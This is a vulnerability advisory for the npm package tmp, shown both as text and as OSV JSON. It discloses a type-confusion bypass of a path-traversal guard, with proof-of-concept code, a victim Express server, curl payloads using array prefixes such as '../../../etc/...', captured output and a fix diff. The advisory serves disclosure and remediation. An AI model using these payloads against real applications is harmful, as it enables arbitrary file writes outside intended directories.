GHSA-7C78-JF6Q-G5CM

Vulnerability from github – Published: 2026-06-15 16:36 – Updated: 2026-06-15 16:36
VLAI
Summary
tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template
Details

Summary

The _assertPath guard added to tmp@0.2.6 rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges.

This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion.

Impact

  • Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.
  • Directory creation outside the intended tree (via tmp.dir{,Sync}), which can then host a subsequent symlink swap.
  • File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.

Affected versions

tmp >= 0.2.6 (the _assertPath guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.

Vulnerable code

lib/tmp.js at tag v0.2.6, commit 41f7159:

// lib/tmp.js:533-539
function _assertPath(path) {
  if (path.includes("..")) {
    throw new Error("Relative value not allowed");
  }

  return path;
}
// lib/tmp.js:577-580
options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
// lib/tmp.js:515-525  - opts.prefix and opts.postfix are stringified by Array.prototype.join
const name = [
  opts.prefix ? opts.prefix : 'tmp',
  '-',
  process.pid,
  '-',
  _randomChars(12),
  opts.postfix ? '-' + opts.postfix : ''
].join('');

return path.join(tmpDir, opts.dir, name);

Root cause: _assertPath assumes its argument is a string. For an Array argument, Array.prototype.includes('..') checks element equality (so ['../escape'].includes('..') is false); for an arbitrary object, Object.prototype.includes does not exist and a duck-typed includes: () => false defeats the check entirely. In both shapes, the subsequent [...].join('') and path.join(...) coerce the value to its underlying string, which still contains ../.

How untrusted data reaches _assertPath

Two production-realistic shapes that yield a non-string prefix/postfix/template:

  1. JSON request bodies. express.json() (and any other JSON body parser) preserves the parsed value's type. A body of {"prefix":["../escape"]} reaches the handler as an Array.
  2. qs-style bracket-array query strings. Express 4's default qs parser turns ?prefix[]=../escape into ['../escape']. The same applies to any framework using qs (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).

The consumer pattern is the natural one - forward req.body.prefix directly into tmp.file({ prefix, tmpdir }) with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.

Proof of concept (string vs array)

poc.js (run after npm install tmp@0.2.6):

const tmp = require('tmp');
const path = require('path');
const fs = require('fs');

const baseDir = fs.mkdtempSync('/tmp/safe-base-');

console.log('[negative control] string "../escape" - must be blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });
  console.log('  UNEXPECTED, file at:', r.name);
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED as expected:', e.message);
}

console.log('\n[bypass] array ["../escape"] - same effective value, not blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}

console.log('\n[bypass] duck-typed object {toString, includes} - also not blocked');
try {
  const r = tmp.fileSync({
    tmpdir: baseDir,
    prefix: { toString: () => '../escape', includes: () => false }
  });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}

Observed output on tmp@0.2.6:

[negative control] string "../escape" - must be blocked
  BLOCKED as expected: Relative value not allowed

[bypass] array ["../escape"] - same effective value, not blocked
  CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn
  ESCAPED: true

[bypass] duck-typed object {toString, includes} - also not blocked
  CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf
  ESCAPED: true

End-to-end reproduction (against the deployed npm package)

Install:

mkdir tmp-bypass-poc && cd tmp-bypass-poc
npm init -y
npm install tmp@0.2.6 express@5

victim-server.js - realistic Express app that forwards a JSON body field into tmp.file:

const express = require('express');
const tmp = require('tmp');
const fs = require('fs');
const path = require('path');

const app = express();
app.use(express.json());

const TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');
console.log('[victim] Tenant base dir:', TENANT_BASE);

app.post('/upload', (req, res) => {
  const userPrefix = req.body.prefix;  // attacker-controlled
  console.log('[victim] received prefix:', JSON.stringify(userPrefix),
              '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');

  tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => {
    if (err) {
      console.log('[victim] tmp error:', err.message);
      return res.status(400).json({ error: err.message });
    }
    fs.writeSync(fd, 'attacker-controlled-content');
    fs.closeSync(fd);
    const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));
    console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);
    res.json({ filepath, escaped, tenantBase: TENANT_BASE });
  });
});

app.listen(3000, () => console.log('[victim] http://127.0.0.1:3000'));

Run:

node victim-server.js &

Drive three requests from another shell:

echo '=== ATTACK 1: string prefix - caught by 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 3: multi-level traversal toward /etc ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload

Captured transcript (verbatim from the test rig):

=== ATTACK 1: string prefix - caught by 0.2.6 ===
{"error":"Relative value not allowed"}

=== ATTACK 2: array prefix - bypasses 0.2.6 ===
{"filepath":"/private/tmp/escape-array-79635-gEFyGCBNFSTh","escaped":true,"tenantBase":"/tmp/tenant-base-3XHwPZ"}

=== ATTACK 3: multi-level traversal toward /etc ===
{"error":"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'"}

Server log:

[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ
[victim] received prefix: "../escape-string" (type: string )
[victim] tmp error: Relative value not allowed
[victim] received prefix: ["../escape-array"] (type: array )
[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true
[victim] received prefix: ["../../../etc/poc-tmp-bypass"] (type: array )
[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'

Observations:

  • ATTACK 1 (string ../escape-string) is rejected at _assertPath. The 0.2.6 guard works for plain strings.
  • ATTACK 2 (array ["../escape-array"]) passes the guard and creates a file at /private/tmp/escape-array-..., outside the tenant base /tmp/tenant-base-3XHwPZ. The file content is attacker-controlled-content. Confirmed with ls:
$ ls -la /tmp/escape-array-*
-rw-------@ 1 rick  wheel  27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh
$ cat /tmp/escape-array-*
attacker-controlled-content
$ ls -la /tmp/tenant-base-3XHwPZ/
total 0
drwx------ 2 rick  wheel   64 May 27 20:25 .

Tenant base is empty. The escape is complete.

  • ATTACK 3 (array ["../../../etc/poc-tmp-bypass"]) reaches fs.open for /etc/poc-tmp-bypass-.... The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.

Negative control with patched build

Applying the suggested fix below and re-running ATTACK 2:

=== ATTACK 2: array prefix - after fix ===
{"error":"prefix option must be a string, got \"object\"."}

The patched build rejects non-string prefix/postfix/template with a clear type error before the path is constructed.

Suggested fix

Patch _assertPath to require a string argument. The check value.includes('..') is sound only over strings; any non-string with a custom or array-element includes semantics bypasses it.

--- a/lib/tmp.js
+++ b/lib/tmp.js
@@ -528,11 +528,14 @@ function _generateTmpName(opts) {
 /**
- * Check the prefix and postfix options
+ * Check the prefix, postfix, and template options
  *
  * @private
  */
-function _assertPath(path) {
-  if (path.includes("..")) {
+function _assertPath(option, value) {
+  if (typeof value !== 'string') {
+    throw new Error(`${option} option must be a string, got "${typeof value}".`);
+  }
+  if (value.includes("..")) {
     throw new Error("Relative value not allowed");
   }

-  return path;
+  return value;
 }
@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {
   options.unsafeCleanup = !!options.unsafeCleanup;

   // for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to
-  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
-  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
-  options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
+  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);
+  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);
+  options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);
 }

Defence-in-depth, recommended in addition to the type check: validate the final resolved path against tmpdir after _generateTmpName, similar to what _getRelativePath already does for dir and template. That way any future bypass through a different vector (e.g., a future Node path change, or a different option) does not exit tmpdir.

Fix PR

https://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1

Credit

Reported by tonghuaroot.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tmp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.6"
            },
            {
              "fixed": "0.2.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49982"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T16:36:46Z",
    "nvd_published_at": "2026-06-11T17:16:35Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `_assertPath` guard added to `tmp@0.2.6` rejects only string values that contain the substring `..`. It is bypassed when `prefix`, `postfix`, or `template` is supplied as a non-string value (Array, Buffer, or any object) whose `includes(\u0027..\u0027)` returns falsy but whose stringification still contains `../`. The value flows through `Array.prototype.join`/`String` coercion inside `_generateTmpName` and `path.join(tmpDir, opts.dir, name)`, producing a final path that escapes `tmpdir` and creates a file or directory at an attacker-controlled location with the host process\u0027s privileges.\n\nThis affects any application that forwards untrusted request data (a common pattern is JSON body fields or `qs`-parsed bracket-array query strings such as `?prefix[]=...`) into `tmp.file`, `tmp.fileSync`, `tmp.dir`, `tmp.dirSync`, `tmp.tmpName`, or `tmp.tmpNameSync` without explicit type coercion.\n\n### Impact\n\n- Arbitrary file creation outside the intended temporary directory, with the running process\u0027s filesystem permissions.\n- Directory creation outside the intended tree (via `tmp.dir{,Sync}`), which can then host a subsequent symlink swap.\n- File content that the application writes to the returned descriptor lands at the attacker\u0027s chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.\n\n### Affected versions\n\n`tmp` \u003e= 0.2.6 (the `_assertPath` guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.\n\n### Vulnerable code\n\n`lib/tmp.js` at tag `v0.2.6`, commit 41f7159:\n\n```javascript\n// lib/tmp.js:533-539\nfunction _assertPath(path) {\n  if (path.includes(\"..\")) {\n    throw new Error(\"Relative value not allowed\");\n  }\n\n  return path;\n}\n```\n\n```javascript\n// lib/tmp.js:577-580\noptions.prefix = _isUndefined(options.prefix) ? \u0027\u0027 : _assertPath(options.prefix);\noptions.postfix = _isUndefined(options.postfix) ? \u0027\u0027 : _assertPath(options.postfix);\noptions.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n```\n\n```javascript\n// lib/tmp.js:515-525  - opts.prefix and opts.postfix are stringified by Array.prototype.join\nconst name = [\n  opts.prefix ? opts.prefix : \u0027tmp\u0027,\n  \u0027-\u0027,\n  process.pid,\n  \u0027-\u0027,\n  _randomChars(12),\n  opts.postfix ? \u0027-\u0027 + opts.postfix : \u0027\u0027\n].join(\u0027\u0027);\n\nreturn path.join(tmpDir, opts.dir, name);\n```\n\nRoot cause: `_assertPath` assumes its argument is a string. For an `Array` argument, `Array.prototype.includes(\u0027..\u0027)` checks element equality (so `[\u0027../escape\u0027].includes(\u0027..\u0027)` is `false`); for an arbitrary object, `Object.prototype.includes` does not exist and a duck-typed `includes: () =\u003e false` defeats the check entirely. In both shapes, the subsequent `[...].join(\u0027\u0027)` and `path.join(...)` coerce the value to its underlying string, which still contains `../`.\n\n### How untrusted data reaches `_assertPath`\n\nTwo production-realistic shapes that yield a non-string `prefix`/`postfix`/`template`:\n\n1. JSON request bodies. `express.json()` (and any other JSON body parser) preserves the parsed value\u0027s type. A body of `{\"prefix\":[\"../escape\"]}` reaches the handler as an Array.\n2. `qs`-style bracket-array query strings. Express 4\u0027s default `qs` parser turns `?prefix[]=../escape` into `[\u0027../escape\u0027]`. The same applies to any framework using `qs` (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).\n\nThe consumer pattern is the natural one - forward `req.body.prefix` directly into `tmp.file({ prefix, tmpdir })` with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.\n\n### Proof of concept (string vs array)\n\n`poc.js` (run after `npm install tmp@0.2.6`):\n\n```javascript\nconst tmp = require(\u0027tmp\u0027);\nconst path = require(\u0027path\u0027);\nconst fs = require(\u0027fs\u0027);\n\nconst baseDir = fs.mkdtempSync(\u0027/tmp/safe-base-\u0027);\n\nconsole.log(\u0027[negative control] string \"../escape\" - must be blocked\u0027);\ntry {\n  const r = tmp.fileSync({ tmpdir: baseDir, prefix: \u0027../escape\u0027 });\n  console.log(\u0027  UNEXPECTED, file at:\u0027, r.name);\n  r.removeCallback();\n} catch (e) {\n  console.log(\u0027  BLOCKED as expected:\u0027, e.message);\n}\n\nconsole.log(\u0027\\n[bypass] array [\"../escape\"] - same effective value, not blocked\u0027);\ntry {\n  const r = tmp.fileSync({ tmpdir: baseDir, prefix: [\u0027../escape\u0027] });\n  console.log(\u0027  CREATED at:\u0027, r.name);\n  console.log(\u0027  ESCAPED:\u0027, !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n  r.removeCallback();\n} catch (e) {\n  console.log(\u0027  BLOCKED:\u0027, e.message);\n}\n\nconsole.log(\u0027\\n[bypass] duck-typed object {toString, includes} - also not blocked\u0027);\ntry {\n  const r = tmp.fileSync({\n    tmpdir: baseDir,\n    prefix: { toString: () =\u003e \u0027../escape\u0027, includes: () =\u003e false }\n  });\n  console.log(\u0027  CREATED at:\u0027, r.name);\n  console.log(\u0027  ESCAPED:\u0027, !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n  r.removeCallback();\n} catch (e) {\n  console.log(\u0027  BLOCKED:\u0027, e.message);\n}\n```\n\nObserved output on `tmp@0.2.6`:\n\n```text\n[negative control] string \"../escape\" - must be blocked\n  BLOCKED as expected: Relative value not allowed\n\n[bypass] array [\"../escape\"] - same effective value, not blocked\n  CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn\n  ESCAPED: true\n\n[bypass] duck-typed object {toString, includes} - also not blocked\n  CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf\n  ESCAPED: true\n```\n\n### End-to-end reproduction (against the deployed npm package)\n\nInstall:\n\n```bash\nmkdir tmp-bypass-poc \u0026\u0026 cd tmp-bypass-poc\nnpm init -y\nnpm install tmp@0.2.6 express@5\n```\n\n`victim-server.js` - realistic Express app that forwards a JSON body field into `tmp.file`:\n\n```javascript\nconst express = require(\u0027express\u0027);\nconst tmp = require(\u0027tmp\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\n\nconst app = express();\napp.use(express.json());\n\nconst TENANT_BASE = fs.mkdtempSync(\u0027/tmp/tenant-base-\u0027);\nconsole.log(\u0027[victim] Tenant base dir:\u0027, TENANT_BASE);\n\napp.post(\u0027/upload\u0027, (req, res) =\u003e {\n  const userPrefix = req.body.prefix;  // attacker-controlled\n  console.log(\u0027[victim] received prefix:\u0027, JSON.stringify(userPrefix),\n              \u0027(type:\u0027, Array.isArray(userPrefix) ? \u0027array\u0027 : typeof userPrefix, \u0027)\u0027);\n\n  tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) =\u003e {\n    if (err) {\n      console.log(\u0027[victim] tmp error:\u0027, err.message);\n      return res.status(400).json({ error: err.message });\n    }\n    fs.writeSync(fd, \u0027attacker-controlled-content\u0027);\n    fs.closeSync(fd);\n    const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));\n    console.log(\u0027[victim] file created at:\u0027, filepath, \u0027ESCAPED:\u0027, escaped);\n    res.json({ filepath, escaped, tenantBase: TENANT_BASE });\n  });\n});\n\napp.listen(3000, () =\u003e console.log(\u0027[victim] http://127.0.0.1:3000\u0027));\n```\n\nRun:\n\n```bash\nnode victim-server.js \u0026\n```\n\nDrive three requests from another shell:\n\n```bash\necho \u0027=== ATTACK 1: string prefix - caught by 0.2.6 ===\u0027\ncurl -s -X POST -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"prefix\":\"../escape-string\"}\u0027 http://127.0.0.1:3000/upload\n\necho\necho \u0027=== ATTACK 2: array prefix - bypasses 0.2.6 ===\u0027\ncurl -s -X POST -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"prefix\":[\"../escape-array\"]}\u0027 http://127.0.0.1:3000/upload\n\necho\necho \u0027=== ATTACK 3: multi-level traversal toward /etc ===\u0027\ncurl -s -X POST -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"prefix\":[\"../../../etc/poc-tmp-bypass\"]}\u0027 http://127.0.0.1:3000/upload\n```\n\nCaptured transcript (verbatim from the test rig):\n\n```text\n=== ATTACK 1: string prefix - caught by 0.2.6 ===\n{\"error\":\"Relative value not allowed\"}\n\n=== ATTACK 2: array prefix - bypasses 0.2.6 ===\n{\"filepath\":\"/private/tmp/escape-array-79635-gEFyGCBNFSTh\",\"escaped\":true,\"tenantBase\":\"/tmp/tenant-base-3XHwPZ\"}\n\n=== ATTACK 3: multi-level traversal toward /etc ===\n{\"error\":\"EACCES: permission denied, open \u0027/etc/poc-tmp-bypass-79635-PEIABptX8JGH\u0027\"}\n```\n\nServer log:\n\n```text\n[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ\n[victim] received prefix: \"../escape-string\" (type: string )\n[victim] tmp error: Relative value not allowed\n[victim] received prefix: [\"../escape-array\"] (type: array )\n[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true\n[victim] received prefix: [\"../../../etc/poc-tmp-bypass\"] (type: array )\n[victim] tmp error: EACCES: permission denied, open \u0027/etc/poc-tmp-bypass-79635-PEIABptX8JGH\u0027\n```\n\nObservations:\n\n- ATTACK 1 (string `../escape-string`) is rejected at `_assertPath`. The 0.2.6 guard works for plain strings.\n- ATTACK 2 (array `[\"../escape-array\"]`) passes the guard and creates a file at `/private/tmp/escape-array-...`, outside the tenant base `/tmp/tenant-base-3XHwPZ`. The file content is `attacker-controlled-content`. Confirmed with `ls`:\n\n```bash\n$ ls -la /tmp/escape-array-*\n-rw-------@ 1 rick  wheel  27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh\n$ cat /tmp/escape-array-*\nattacker-controlled-content\n$ ls -la /tmp/tenant-base-3XHwPZ/\ntotal 0\ndrwx------ 2 rick  wheel   64 May 27 20:25 .\n```\n\n  Tenant base is empty. The escape is complete.\n\n- ATTACK 3 (array `[\"../../../etc/poc-tmp-bypass\"]`) reaches `fs.open` for `/etc/poc-tmp-bypass-...`. The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.\n\n### Negative control with patched build\n\nApplying the suggested fix below and re-running ATTACK 2:\n\n```text\n=== ATTACK 2: array prefix - after fix ===\n{\"error\":\"prefix option must be a string, got \\\"object\\\".\"}\n```\n\nThe patched build rejects non-string `prefix`/`postfix`/`template` with a clear type error before the path is constructed.\n\n### Suggested fix\n\nPatch `_assertPath` to require a string argument. The check `value.includes(\u0027..\u0027)` is sound only over strings; any non-string with a custom or array-element `includes` semantics bypasses it.\n\n```diff\n--- a/lib/tmp.js\n+++ b/lib/tmp.js\n@@ -528,11 +528,14 @@ function _generateTmpName(opts) {\n /**\n- * Check the prefix and postfix options\n+ * Check the prefix, postfix, and template options\n  *\n  * @private\n  */\n-function _assertPath(path) {\n-  if (path.includes(\"..\")) {\n+function _assertPath(option, value) {\n+  if (typeof value !== \u0027string\u0027) {\n+    throw new Error(`${option} option must be a string, got \"${typeof value}\".`);\n+  }\n+  if (value.includes(\"..\")) {\n     throw new Error(\"Relative value not allowed\");\n   }\n\n-  return path;\n+  return value;\n }\n@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {\n   options.unsafeCleanup = !!options.unsafeCleanup;\n\n   // for completeness\u0027 sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to\n-  options.prefix = _isUndefined(options.prefix) ? \u0027\u0027 : _assertPath(options.prefix);\n-  options.postfix = _isUndefined(options.postfix) ? \u0027\u0027 : _assertPath(options.postfix);\n-  options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n+  options.prefix = _isUndefined(options.prefix) ? \u0027\u0027 : _assertPath(\u0027prefix\u0027, options.prefix);\n+  options.postfix = _isUndefined(options.postfix) ? \u0027\u0027 : _assertPath(\u0027postfix\u0027, options.postfix);\n+  options.template = _isUndefined(options.template) ? undefined : _assertPath(\u0027template\u0027, options.template);\n }\n```\n\nDefence-in-depth, recommended in addition to the type check: validate the final resolved path against `tmpdir` after `_generateTmpName`, similar to what `_getRelativePath` already does for `dir` and `template`. That way any future bypass through a different vector (e.g., a future Node `path` change, or a different option) does not exit `tmpdir`.\n\n### Fix PR\n\nhttps://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-7c78-jf6q-g5cm",
  "modified": "2026-06-15T16:36:46Z",
  "published": "2026-06-15T16:36:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/raszi/node-tmp/security/advisories/GHSA-7c78-jf6q-g5cm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49982"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/raszi/node-tmp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…